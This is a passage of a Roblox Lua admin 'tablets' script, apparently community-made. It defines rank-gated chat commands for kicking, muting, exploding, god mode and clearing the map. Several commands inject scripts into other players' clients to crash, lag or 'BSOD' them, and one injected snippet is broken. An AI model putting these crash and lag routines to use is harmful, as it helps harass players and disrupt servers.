11800 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11801 | Disconnect(v.Name) | |
11802 | Output("Disconnected "..v.Name, Speaker, 5) | |
11803 | end | |
11804 | end) | |
11805 | Output("Bsod", Speaker, nil, function() | |
11806 | if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then | |
11807 | if LSource ~= nil then | |
11808 | NewLS(Bsod, v.Backpack) | |
11809 | end | |
11810 | Output("Bsoded "..v.Name, Speaker, 5) | |
11811 | end | |
11812 | end) | |
11813 | Output("Lag", Speaker, nil, function() | |
11814 | if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then | |
11815 | if LSource ~= nil then | |
11816 | NewLS(LagSource, v.Backpack) | |
11817 | end | |
11818 | Output("Lagged "..v.Name, Speaker, 5) | |
11819 | end | |
11820 | end) | |
11821 | end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
11822 | else | |
11823 | Output(v.Name.." [Nil]", Speaker, nil, function() | |
11824 | Dismiss(Speaker) | |
11825 | Output("Nil Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
11826 | ypcall(function() | |
11827 | Output("Nil's Rank: "..FindRank(v.Name), Speaker) | |
11828 | end) | |
11829 | ypcall(function() | |
11830 | Output("Rank Name: "..FindRankDetails(v.Name).Name, Speaker) | |
11831 | end) | |
11832 | ypcall(function() | |
11833 | Output("Rank Description: "..FindRankDetails(v.Name).Desc, Speaker) | |
11834 | end) | |
11835 | ypcall(function() | |
11836 | Output("Change rank", Speaker, nil, function() | |
11837 | if FindRank(Speaker) >= 7 and v.Name ~= Owner and CanRun(Speaker, v) then | |
11838 | Dismiss(Speaker) | |
11839 | for i = -4, 7 do | |
11840 | Output(i, Speaker, nil, function() | |
11841 | ChangeRank(v, i) | |
11842 | Dismiss(Speaker) | |
11843 | Output("Changed "..v.Name.."'s current rank to"..tostring(i), Speaker, 5) | |
11844 | end) | |
11845 | end | |
11846 | else | |
11847 | Output("Your rank needs to be higher", Speaker, 5) | |
11848 | end | |
11849 | end) | |
11850 | end) | |
11851 | Output("Kick", Speaker, nil, function() | |
11852 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11853 | v:Kick() | |
11854 | Output("Kicked "..v.Name, Speaker, 5) | |
11855 | end | |
11856 | end) | |
11857 | Output("Semi-Kick", Speaker, nil, function() | |
11858 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11859 | v:Remove() | |
11860 | Output("Semi-Kicked "..v.Name, Speaker, 5) | |
11861 | end | |
11862 | end) | |
11863 | Output("Crash", Speaker, nil, function() | |
11864 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11865 | Crash3(v.Name,nil) | |
11866 | Output("Crashed "..v.Name, Speaker, 5) | |
11867 | end | |
11868 | end) | |
11869 | Output("Lag", Speaker, nil, function() | |
11870 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11871 | Crash4(v.Name) | |
11872 | Output("Lagged "..v.Name, Speaker, 5) | |
11873 | end | |
11874 | end) | |
11875 | Output("Disconnect", Speaker, nil, function() | |
11876 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11877 | Disconnect(v.Name) | |
11878 | Output("Disconnected "..v.Name, Speaker, 5) | |
11879 | end | |
11880 | end) | |
11881 | Output("Nil Crash", Speaker, nil, function() | |
11882 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11883 | Crash5(v.Name) | |
11884 | Output("Nil Crashed "..v.Name, Speaker, 5) | |
11885 | end | |
11886 | end) | |
11887 | Output("Nil Lag", Speaker, nil, function() | |
11888 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
11889 | RemoteCrash(v.Name) | |
11890 | Output("Nil lagged"..v.Name, Speaker, 5) | |
11891 | end | |
11892 | end) | |
11893 | Output("Bsod", Speaker, nil, function() | |
11894 | if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then | |
11895 | if LSource ~= nil then | |
11896 | NewLS(Bsod, v.Backpack) | |
11897 | end | |
11898 | Output("Bsoded "..v.Name, Speaker, 5) | |
11899 | end | |
11900 | end) | |
11901 | Output("Lag", Speaker, nil, function() | |
11902 | if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then | |
11903 | if LSource ~= nil then | |
11904 | NewLS(LagSource, v.Backpack) | |
11905 | end | |
11906 | Output("Lagged "..v.Name, Speaker, 5) | |
11907 | end | |
11908 | end) | |
11909 | ypcall(function() | |
11910 | end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
11911 | end) | |
11912 | end | |
11913 | end | |
11914 | end) | |
11915 | end | |
11916 | coroutine.resume(coroutine.create(function() | |
11917 | PlaceAllRanks() | |
11918 | end)) | |
11919 | Delay(0, function() | |
11920 | for _,v in pairs(All()) do | |
11921 | v.Chatted:connect(function(Msg) | |
11922 | onChatted(Msg, v) | |
11923 | end) | |
11924 | end | |
11925 | end) | |
11926 | local starttime = tick() | |
11927 | game:GetService("RunService").Heartbeat:connect(function() | |
11928 | if Removed == false then | |
11929 | ypcall(function() | |
11930 | for _,Player in pairs(All()) do | |
11931 | local PlayerTablets = {} | |
11932 | for i,v in pairs(AllTabs) do | |
11933 | if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then | |
11934 | table.insert(PlayerTablets, v) | |
11935 | end | |
11936 | end | |
11937 | for i = 1, #PlayerTablets do | |
11938 | ypcall(function() | |
11939 | local tab = PlayerTablets[i].Tab | |
11940 | local pos = nil | |
11941 | ypcall(function() | |
11942 | pos = Player.Character.Torso.CFrame | |
11943 | end) | |
11944 | local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3.5) | |
11945 | local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3.5) | |
11946 | local cPos = tab.Position | |
11947 | local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0)) | |
11948 | local nPos = (ePos-cPos)*.25 | |
11949 | cPos = cPos + nPos | |
11950 | local t = (tick() - starttime) % 360 | |
11951 | local change = 0.625 | |
11952 | PlayerTablets[i].Size = math.sin(t) * change + 2.375 | |
11953 | tab.Size = Vector3.new(3, 3, 3) | |
11954 | tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 0, 0))) * CFrame.Angles(math.rad(0), 0, 0) | |
11955 | end) | |
11956 | end | |
11957 | end | |
11958 | end) | |
11959 | end | |
11960 | end) | |
11961 | function UpdateNilPlayerTablets() | |
11962 | ypcall(function() | |
11963 | for _,Player in pairs(game:service'NetworkServer':children()) do | |
11964 | if Player:GetPlayer() then | |
11965 | if Player:GetPlayer().Parent ~= game:service'Players' then | |
11966 | local PlayerTablets = {} | |
11967 | for i,v in pairs(AllTabs) do | |
11968 | if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then | |
11969 | table.insert(PlayerTablets, v) | |
11970 | end | |
11971 | end | |
11972 | for x,t in pairs(game:service'Workspace':children()) do | |
11973 | if t.Name == Player:GetPlayer().Name then | |
11974 | Plr = t | |
11975 | end | |
11976 | end | |
11977 | for i = 1, #PlayerTablets do | |
11978 | ypcall(function() | |
11979 | local pos = CFrame.new(0,0,0) | |
11980 | if Plr.ClassName == 'Part' then | |
11981 | pos = Plr.CFrame | |
11982 | elseif Plr:findFirstChild'Torso' then | |
11983 | pos = Plr:findFirstChild'Torso'.CFrame | |
11984 | end | |
11985 | local tab = PlayerTablets[i].Tab | |
11986 | local pos = CFrame.new(0,0,0) | |
11987 | ypcall(function() | |
11988 | if Plr.ClassName == 'Part' then | |
11989 | pos = Player.CFrame | |
11990 | elseif Plr:findFirstChild'Torso' then | |
11991 | pos = Plr:findFirstChild'Torso'.CFrame | |
11992 | end | |
11993 | end) | |
11994 | local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6) | |
11995 | local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6) | |
11996 | local cPos = tab.Position | |
11997 | local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0)) | |
11998 | local nPos = (ePos-cPos)*.25 | |
11999 | cPos = cPos + nPos | |
12000 | tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0) | |
12001 | ||
12002 | end) | |
12003 | end | |
12004 | end | |
12005 | end | |
12006 | end | |
12007 | end) | |
12008 | end | |
12009 | Plrs.PlayerAdded:connect(function(Plr) | |
12010 | wait(.1) | |
12011 | ypcall(function() | |
12012 | if Removed == false then | |
12013 | local JoinPlrName = Plr.Name | |
12014 | coroutine.resume(coroutine.create(function() | |
12015 | PlaceSpecificRank(Plr) | |
12016 | end)) | |
12017 | coroutine.resume(coroutine.create(function() | |
12018 | if Injected[JoinPlrName] ~= nil then | |
12019 | Injected[JoinPlrName] = nil | |
12020 | end | |
12021 | end)) | |
12022 | coroutine.resume(coroutine.create(function() | |
12023 | Dismiss(Plr) | |
12024 | Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end) | |
12025 | end)) | |
12026 | end | |
12027 | end) | |
12028 | end) | |
12029 | Plrs.PlayerRemoving:connect(function(Plr) | |
12030 | wait(.1) | |
12031 | ypcall(function() | |
12032 | if Removed == false then | |
12033 | local LeftPlrName = Plr.Name | |
12034 | coroutine.resume(coroutine.create(function() | |
12035 | if Injected[LeftPlrName] ~= nil then | |
12036 | Injected[LeftPlrName] = nil | |
12037 | end | |
12038 | end)) | |
12039 | end | |
12040 | end) | |
12041 | end) | |
12042 | Command("Cmds", 1, "Shows the list of commands", function(Msg, Speaker) | |
12043 | Dismiss(Speaker.Name) | |
12044 | Output("KKA Tablets made by Cobalt1164 | More credits in info/",Speaker,nil,nil,Database.Colors.Green) | |
12045 | Output("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker) | |
12046 | Output("All", Speaker, nil, function() OpenCmds(1337, Speaker) end) | |
12047 | Output("Rank 0", Speaker, nil, function() | |
12048 | if FindRank(Speaker) >= 0 then | |
12049 | OpenCmds(0, Speaker) | |
12050 | ||
12051 | end | |
12052 | end) | |
12053 | Output("Rank 1", Speaker, nil, function() | |
12054 | if FindRank(Speaker) >= 1 then | |
12055 | OpenCmds(1, Speaker) | |
12056 | ||
12057 | end | |
12058 | end) | |
12059 | Output("Rank 2", Speaker, nil, function() | |
12060 | if FindRank(Speaker) >= 2 then | |
12061 | OpenCmds(2, Speaker) | |
12062 | ||
12063 | end | |
12064 | end) | |
12065 | Output("Rank 3", Speaker, nil, function() | |
12066 | if FindRank(Speaker) >= 3 then | |
12067 | OpenCmds(3, Speaker) | |
12068 | ||
12069 | end | |
12070 | end) | |
12071 | Output("Rank 4", Speaker, nil, function() | |
12072 | if FindRank(Speaker) >= 4 then | |
12073 | OpenCmds(4, Speaker) | |
12074 | ||
12075 | end | |
12076 | end) | |
12077 | Output("Rank 5", Speaker, nil, function() | |
12078 | if FindRank(Speaker) >= 5 then | |
12079 | OpenCmds(5, Speaker) | |
12080 | ||
12081 | end | |
12082 | end) | |
12083 | Output("Rank 6", Speaker, nil, function() | |
12084 | if FindRank(Speaker) >= 6 then | |
12085 | OpenCmds(6, Speaker) | |
12086 | ||
12087 | end | |
12088 | end) | |
12089 | Output("Rank 7", Speaker, nil, function() | |
12090 | if FindRank(Speaker) >= 7 then | |
12091 | OpenCmds(7, Speaker) | |
12092 | ||
12093 | end | |
12094 | end) | |
12095 | end) | |
12096 | ||
12097 | Command("Dtt", 1, "Dismiss someones Tablets" ,function(Msg, Speaker) | |
12098 | local PlrTab = getPlayer(Speaker, Msg) | |
12099 | if #PlrTab > 0 then | |
12100 | for _,v in pairs(PlrTab) do | |
12101 | ypcall(function() | |
12102 | Dismiss(v) | |
12103 | end) | |
12104 | end | |
12105 | end | |
12106 | end) | |
12107 | Command("Dall", 6, "Dismiss All Tablets" ,function(Msg, Speaker) | |
12108 | Dismiss() | |
12109 | end) | |
12110 | Command("Dt", 1, "Dismiss your Tablets" ,function(Msg, Speaker) | |
12111 | Dismiss(Speaker.Name) | |
12112 | end) | |
12113 | Command("btools", 3, "Gives a player Btools", function(Msg, Speaker) | |
12114 | local PlrTab = getPlayer(Speaker, Msg) | |
12115 | if #PlrTab > 0 then | |
12116 | for _,v in pairs(PlrTab) do | |
12117 | ypcall(function() | |
12118 | Instance.new("HopperBin", v.Backpack).BinType = "Hammer" | |
12119 | Instance.new("HopperBin", v.Backpack).BinType = "Clone" | |
12120 | Instance.new("HopperBin", v.Backpack).BinType = "Grab" | |
12121 | Output("Gave "..v.Name.." Building Tools", Speaker, 5) | |
12122 | end) | |
12123 | end | |
12124 | end | |
12125 | end) | |
12126 | Command("rlegs", 3, "Removes a player's legs", | |
12127 | function(Msg, Speaker) | |
12128 | local PlrTab = getPlayer(Speaker, Msg) | |
12129 | if #PlrTab > 0 then | |
12130 | for _,v in pairs(PlrTab) do | |
12131 | ypcall(function() | |
12132 | for plr in pairs(v.Character) do | |
12133 | if plr.Name == "Left Leg" or plr.Name == "Right Leg" then | |
12134 | plr:Remove() | |
12135 | Output("Removed "..v.Name.."'s legs", Speaker, 5) | |
12136 | end | |
12137 | end | |
12138 | end) | |
12139 | end | |
12140 | end | |
12141 | end) | |
12142 | Command("rarms", 3, "Removes a player's arms", | |
12143 | function(Msg, Speaker) | |
12144 | local PlrTab = getPlayer(Speaker, Msg) | |
12145 | if #PlrTab > 0 then | |
12146 | for _,v in pairs(PlrTab) do | |
12147 | ypcall(function() | |
12148 | for plr in pairs(v.Character) do | |
12149 | if plr.Name == "Left Arm" or plr.Name == "Right Arm" then | |
12150 | plr:Remove() | |
12151 | Output("Removed "..v.Name.."'s arms", Speaker, 5) | |
12152 | end | |
12153 | end | |
12154 | end) | |
12155 | end | |
12156 | end | |
12157 | end) | |
12158 | Command("Afrup", 1, "Asks admins for a rank up", function(Msg, Speaker) | |
12159 | Output(Speaker.Name.." wants to be ranked up", Plrs:children(), 5) | |
12160 | end) | |
12161 | Command("Afb", 1, "Asks to battle", function(Msg, Speaker) | |
12162 | Output(Speaker.Name.." wants to battle", Plrs:children(), 5) | |
12163 | end) | |
12164 | Command("Expl", 3, "Explodes a player", | |
12165 | function(Msg, Speaker) | |
12166 | local PlrTab = getPlayer(Speaker, Msg) | |
12167 | if #PlrTab > 0 then | |
12168 | for _,v in pairs(PlrTab) do | |
12169 | ypcall(function() | |
12170 | if v.Character and v.Character:findFirstChild("Head") then | |
12171 | local e = Instance.new("Explosion") | |
12172 | e.Position = v.Character.Head.Position | |
12173 | e.Parent = v.Character | |
12174 | Output("Exploded "..v.Name, Speaker, 5) | |
12175 | end | |
12176 | end) | |
12177 | end | |
12178 | end | |
12179 | end) | |
12180 | Command("RModel", 7, "Rejoins a model", function(Msg, Speaker) | |
12181 | game:service'TeleportService':Teleport(game.PlaceId,game.Workspace[Msg]) | |
12182 | end) | |
12183 | Command("Mute", 7, "Mutes a player", function(Msg, Speaker) | |
12184 | local PlrTab = getPlayer(Speaker, Msg) | |
12185 | if #PlrTab > 0 then | |
12186 | for _,v in pairs(PlrTab) do | |
12187 | ypcall(function() | |
12188 | if v.Name ~= Owner then | |
12189 | NewLS([[game:service'StarterGui':SetCoreGuiEnabled('All',false)]],v.Backpack) | |
12190 | Output("Muted "..v.Name, Speaker, 5) | |
12191 | end | |
12192 | end) | |
12193 | end | |
12194 | end | |
12195 | end) | |
12196 | Command("Rej", 5, "Rejoin a player", function(Msg, Speaker) | |
12197 | local PlrTab = getPlayer(Speaker, Msg) | |
12198 | if #PlrTab > 0 then | |
12199 | for _,v in pairs(PlrTab) do | |
12200 | ypcall(function() | |
12201 | game:service'TeleportService':Teleport(game.PlaceId,v.Character) | |
12202 | Output("Rejoined "..v.Name, Speaker, 5) | |
12203 | end) | |
12204 | end | |
12205 | end | |
12206 | end) | |
12207 | Command("LagC", 6, "Lag crashes a player", function(Msg, Speaker) | |
12208 | local PlrTab = getPlayer(Speaker, Msg) | |
12209 | if #PlrTab > 0 then | |
12210 | for _,v in pairs(PlrTab) do | |
12211 | ypcall(function() | |
12212 | NewLS(LagSource, v.Backpack) | |
12213 | v:Kick() | |
12214 | Output("Lag Crashing "..v.Name, Speaker, 5) | |
12215 | end) | |
12216 | end | |
12217 | end | |
12218 | end) | |
12219 | Command("Unmute", 3, "Unmutes a player", function(Msg, Speaker) | |
12220 | local PlrTab = getPlayer(Speaker, Msg) | |
12221 | if #PlrTab > 0 then | |
12222 | for _,v in pairs(PlrTab) do | |
12223 | ypcall(function() | |
12224 | NewLS([[game:service'StarterGui':SetCoreGuiEnabled('All',true)]],v.Backpack) | |
12225 | Output("Unmuted "..v.Name, Speaker, 5) | |
12226 | end) | |
12227 | end | |
12228 | end | |
12229 | end) | |
12230 | ||
12231 | Command("DisableS", 5, "Disables a script", function(Msg, Speaker) | |
12232 | local Worked = false | |
12233 | for _,v in pairs(Work:GetChildren()) do | |
12234 | if string.find(v.Name:lower(), Msg:lower()) then | |
12235 | if v:IsA("Script") or v:IsA("LocalScript") then | |
12236 | v.Disabled = true | |
12237 | v:Destroy() | |
12238 | Worked = true | |
12239 | Output("Disabled : "..v.Name, Speaker, 5) | |
12240 | end | |
12241 | end | |
12242 | end | |
12243 | if Worked == false then | |
12244 | Output("Script False Found", Speaker, 5) | |
12245 | end | |
12246 | end) | |
12247 | ||
12248 | Command("Los", 1, "Locates scripts in workspace", function(Msg, Speaker) | |
12249 | Dismiss(Speaker) | |
12250 | local AllScripts = {} | |
12251 | for _,v in pairs(Work:GetChildren()) do | |
12252 | if v:IsA("Script") then | |
12253 | table.insert(AllScripts, v.Name) | |
12254 | end | |
12255 | end | |
12256 | if #AllScripts > 0 then | |
12257 | for _,v in pairs(AllScripts) do | |
12258 | Output(v, Speaker) | |
12259 | end | |
12260 | else | |
12261 | Output("No Scripts Found", Speaker, 5) | |
12262 | end | |
12263 | end) | |
12264 | ||
12265 | Command("Afk",1,'Tells other players that your AFK', | |
12266 | function(Msg,Speaker) | |
12267 | Dismiss(Speaker) | |
12268 | ||
12269 | ||
12270 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random) | |
12271 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random) | |
12272 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random) | |
12273 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random) | |
12274 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random) | |
12275 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random) | |
12276 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random) | |
12277 | ||
12278 | ||
12279 | ||
12280 | end) | |
12281 | Command("Back",1,'Tells other players that you have returned', | |
12282 | function(Msg,Speaker) | |
12283 | Dismiss(Speaker) | |
12284 | for i = 1,8 do | |
12285 | Output('Welcome back!',Speaker,6) | |
12286 | wait(.1) | |
12287 | end | |
12288 | end) | |
12289 | Command("Lss", 1, "Shows all local scripts", function(Msg, Speaker) | |
12290 | Dismiss(Speaker) | |
12291 | local LocalScripts = {} | |
12292 | for _,v in pairs(All()) do | |
12293 | ypcall(function() | |
12294 | for _,x in pairs(v.Character:GetChildren()) do | |
12295 | if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then | |
12296 | table.insert(LocalScripts, x.Name .. " - " .. v.Name) | |
12297 | end | |
12298 | end | |
12299 | end) | |
12300 | ypcall(function() | |
12301 | for _,x in pairs(v.Backpack:GetChildren()) do | |
12302 | if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then | |
12303 | table.insert(LocalScripts, x.Name .. " - " .. v.Name) | |
12304 | end | |
12305 | end | |
12306 | end) | |
12307 | ypcall(function() | |
12308 | for _,x in pairs(v.PlayerGui:GetChildren()) do | |
12309 | if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then | |
12310 | table.insert(LocalScripts, x.Name .. " - " .. v.Name) | |
12311 | end | |
12312 | end | |
12313 | end) | |
12314 | end | |
12315 | if #LocalScripts > 0 then | |
12316 | for _,v in pairs(LocalScripts) do | |
12317 | Output(v, Speaker) | |
12318 | end | |
12319 | else | |
12320 | Output("No Local Scripts Found", Speaker, 5) | |
12321 | end | |
12322 | end) | |
12323 | Command("DisableLS", 5, "Disables a local script", function(Msg, Speaker) | |
12324 | local Split = GetSplit(Msg) | |
12325 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
12326 | local ScriptName = Msg:sub(Split + 1) | |
12327 | local FoundLocal = false | |
12328 | for _,name in pairs(PlrTab) do | |
12329 | ypcall(function() | |
12330 | for _,v in pairs(name.Character:GetChildren()) do | |
12331 | if string.find(v.Name:lower(), ScriptName) then | |
12332 | if v:IsA("Script") or v:IsA("LocalScript") then | |
12333 | v.Disabled = true | |
12334 | v:Destroy() | |
12335 | FoundLocal = true | |
12336 | Output("Disabled Local Script: "..v.Name, Speaker, 5) | |
12337 | end | |
12338 | end | |
12339 | end | |
12340 | end) | |
12341 | ypcall(function() | |
12342 | for _,v in pairs(name.Backpack:GetChildren()) do | |
12343 | if string.find(v.Name:lower(), ScriptName) then | |
12344 | if v:IsA("Script") or v:IsA("LocalScript") then | |
12345 | v.Disabled = true | |
12346 | v:Destroy() | |
12347 | FoundLocal = true | |
12348 | Output("Disabled Local Script: "..v.Name, Speaker, 5) | |
12349 | end | |
12350 | end | |
12351 | end | |
12352 | end) | |
12353 | ypcall(function() | |
12354 | for _,v in pairs(name.PlayerGui:GetChildren()) do | |
12355 | if string.find(v.Name:lower(), ScriptName) then | |
12356 | if v:IsA("Script") or v:IsA("LocalScript") then | |
12357 | v.Disabled = true | |
12358 | v:Destroy() | |
12359 | FoundLocal = true | |
12360 | Output("Disabled Local Script: "..v.Name, Speaker, 5) | |
12361 | end | |
12362 | end | |
12363 | end | |
12364 | end) | |
12365 | if FoundLocal == false then | |
12366 | Output("Local Script False Found", Speaker, 5) | |
12367 | end | |
12368 | end | |
12369 | end) | |
12370 | Command("mClean", 5, "Mega Clean", function(Msg, Speaker) | |
12371 | NewS([[ | |
12372 | for _,v in pairs(game.Workspace:GetChildren()) do | |
12373 | if v.Name ~= "Terrain" then | |
12374 | v:Destroy() | |
12375 | end | |
12376 | end | |
12377 | ]],game.Workspace) | |
12378 | a = Instance.new("Part") | |
12379 | a.Parent = game.Workspace | |
12380 | a.Name = "Base" | |
12381 | a.Position = Vector3.new(0, 0.6, 0) | |
12382 | a.Size = Vector3.new(1002, 0, 1002) | |
12383 | a.Material = "Grass" | |
12384 | a.Anchored = true | |
12385 | a.BrickColor = BrickColor.new("Earth green") | |
12386 | NewS([[ | |
12387 | for _,v in pairs(game.Players:GetChildren()) do | |
12388 | v:LoadCharacter() | |
12389 | end | |
12390 | ]], game.Workspace) | |
12391 | Output("Mega Cleaned.", Speaker, 5) | |
12392 | end) | |
12393 | Command("Base", 3, "Creates a new base", function(Msg, Speaker) | |
12394 | if game.Workspace:findFirstChild("Base") then | |
12395 | game.Workspace.Base:Remove() | |
12396 | end | |
12397 | if game.Workspace:findFirstChild("Part") then | |
12398 | game.Workspace.Part:Remove() | |
12399 | end | |
12400 | if game.Workspace:findFirstChild("Baseplate") then | |
12401 | game.Workspace.Baseplate:Remove() | |
12402 | end | |
12403 | a = Instance.new("Part") | |
12404 | a.Parent = game.Workspace | |
12405 | a.Name = "Base" | |
12406 | a.Position = Vector3.new(0, 0.6, 0) | |
12407 | a.Size = Vector3.new(1002, 0, 1002) | |
12408 | a.Material = "Grass" | |
12409 | a.Anchored = true | |
12410 | a.BrickColor = BrickColor.new("Earth green") | |
12411 | Output("Successfully created a new base",Speaker) | |
12412 | end) | |
12413 | Command("BallBase", 3, "Creates a new ball shaped base", function(Msg, Speaker) | |
12414 | if game.Workspace:findFirstChild("Base") then | |
12415 | game.Workspace.Base:Remove() | |
12416 | end | |
12417 | if game.Workspace:findFirstChild("Part") then | |
12418 | game.Workspace.Part:Remove() | |
12419 | end | |
12420 | if game.Workspace:findFirstChild("Baseplate") then | |
12421 | game.Workspace.Baseplate:Remove() | |
12422 | end | |
12423 | a = Instance.new("Part") | |
12424 | a.Parent = game.Workspace | |
12425 | a.Name = "Base" | |
12426 | a.Shape = "Ball" | |
12427 | a.Position = Vector3.new(0, 0.6, 0) | |
12428 | a.Size = Vector3.new(1002, 0, 1002) | |
12429 | a.Material = "Grass" | |
12430 | a.Anchored = true | |
12431 | a.BrickColor = BrickColor.new("Dark green") | |
12432 | Output("Successfully created a new ball shaped base",Speaker) | |
12433 | end) | |
12434 | Command("Cl", 5, "Cleans the server", function(Msg, Speaker) | |
12435 | for _,v in pairs(game.Workspace:children()) do | |
12436 | if v:IsA "Script" or v:IsA "LocalScript" or v:IsA "Message" or v:IsA "Hint" or v:IsA "Explosion" then | |
12437 | v:Remove() | |
12438 | end | |
12439 | Output("Lightly cleaned workspace", Speaker, 5) | |
12440 | end | |
12441 | end) | |
12442 | Command("Priadd", 3, "Adds a player into the private servers list", function(Msg, Speaker) | |
12443 | local PlrTab = getPlayer(Speaker, Msg) | |
12444 | if #PlrTab > 0 then | |
12445 | for _,v in pairs(PlrTab) do | |
12446 | ypcall(function() | |
12447 | table.insert(PrivPlrs, v) | |
12448 | Output("Added "..v.Name.." into the Private Players list", Speaker, 5) | |
12449 | end) | |
12450 | end | |
12451 | end | |
12452 | end) | |
12453 | Command("God", 3, "Makes a player immortal", function(Msg, Speaker) | |
12454 | local PlrTab = getPlayer(Speaker, Msg) | |
12455 | if #PlrTab > 0 then | |
12456 | for _,v in pairs(PlrTab) do | |
12457 | ypcall(function() | |
12458 | v.Character.Humanoid.MaxHealth = math.huge | |
12459 | Output("Godded "..v.Name, Speaker, 5) | |
12460 | end) | |
12461 | end | |
12462 | end | |
12463 | end) | |
12464 | Command("Ungod", 3, "Makes a player mortal", function(Msg, Speaker) | |
12465 | local PlrTab = getPlayer(Speaker, Msg) | |
12466 | if #PlrTab > 0 then | |
12467 | for _,v in pairs(PlrTab) do | |
12468 | ypcall(function() | |
12469 | v.Character.Humanoid.Health = 100 | |
12470 | wait() | |
12471 | v.Character.Humanoid.MaxHealth = 100 | |
12472 | Output("Ungodded "..v.Name, Speaker, 5) | |
12473 | end) | |
12474 | end | |
12475 | end | |
12476 | end) | |
12477 | ||
12478 | ||
12479 | Command("Lag", 7, "Lags a player", function(Msg, Speaker) | |
12480 | local PlrTab = getPlayer(Speaker, Msg) | |
12481 | if #PlrTab > 0 then | |
12482 | for _,v in pairs(PlrTab) do | |
12483 | ypcall(function() | |
12484 | v.CameraMode = "LockFirstPerson" | |
12485 | wait() | |
12486 | NewLS(LagSource, v.Backpack) | |
12487 | Output("Lagged "..v.Name.." badly", Speaker, 5) | |
12488 | end) | |
12489 | end | |
12490 | end | |
12491 | end) | |
12492 | Command("DL", 7, "Makes a player lag very bad", function(Msg, Speaker) | |
12493 | local PlrTab = getPlayer(Speaker, Msg) | |
12494 | if #PlrTab > 0 then | |
12495 | for _,v in pairs(PlrTab) do | |
12496 | ypcall(function() | |
12497 | NewLS([[repeat Instance.new("Message" | |
12498 | until, game.Players.LocalPlayer.PlayerGui). | |
12499 | Text = "Such Lag" | |
12500 | until | |
12501 | return]], v.Backpack) | |
12502 | end) | |
12503 | end | |
12504 | end | |
12505 | end) | |
12506 | Command("MiniP", 7, "Gives a player minipeep", function(Msg, Speaker) | |
12507 | local PlrTab = getPlayer(Speaker, Msg) | |
12508 | if #PlrTab > 0 then | |
12509 | for _,v in pairs(PlrTab) do | |
12510 | ypcall(function() | |
12511 | NewLS(MiniPeep, v.Backpack) | |
12512 | Output("Gave "..v.Name.." Mini-Peep", Speaker, 5) | |
12513 | end) | |
12514 | end | |
12515 | end | |
12516 | end) | |
12517 | Command("ClrB", 7, "Clears a player's backpack", function(Msg, Speaker) | |
12518 | local PlrTab = getPlayer(Speaker, Msg) | |
12519 | if #PlrTab > 0 then | |
12520 | for _,v in pairs(PlrTab) do | |
12521 | ypcall(function() | |
12522 | v.Backpack:ClearAllChildren() | |
12523 | Output("Cleared "..v.Name.."'s backpack", Speaker, 5) | |
12524 | end) | |
12525 | end | |
12526 | end | |
12527 | end) | |
12528 | Command("RemvB", 7, "Removes a player's backpack", function(Msg, Speaker) | |
12529 | local PlrTab = getPlayer(Speaker, Msg) | |
12530 | if #PlrTab > 0 then | |
12531 | for _,v in pairs(PlrTab) do | |
12532 | ypcall(function() | |
12533 | v.Backpack:Remove() | |
12534 | Output("Removed "..v.Name.."'s backpack", Speaker, 5) | |
12535 | end) | |
12536 | end | |
12537 | end | |
12538 | end) | |
12539 | Command("Raven", 7, "Gives a player a raven", function(Msg, Speaker) | |
12540 | local PlrTab = getPlayer(Speaker, Msg) | |
12541 | if #PlrTab > 0 then | |
12542 | for _,v in pairs(PlrTab) do | |
12543 | ypcall(function() | |
12544 | NewLS(Raven, v.Backpack) | |
12545 | Output("Gave "..v.Name.." a raven", Speaker, 5) | |
12546 | end) | |
12547 | end | |
12548 | end | |
12549 | end) | |
12550 | Command("Fly", 7, "Flies a player", function(Msg, Speaker) | |
12551 | local PlrTab = getPlayer(Speaker, Msg) | |
12552 | if #PlrTab > 0 then | |
12553 | for _,v in pairs(PlrTab) do | |
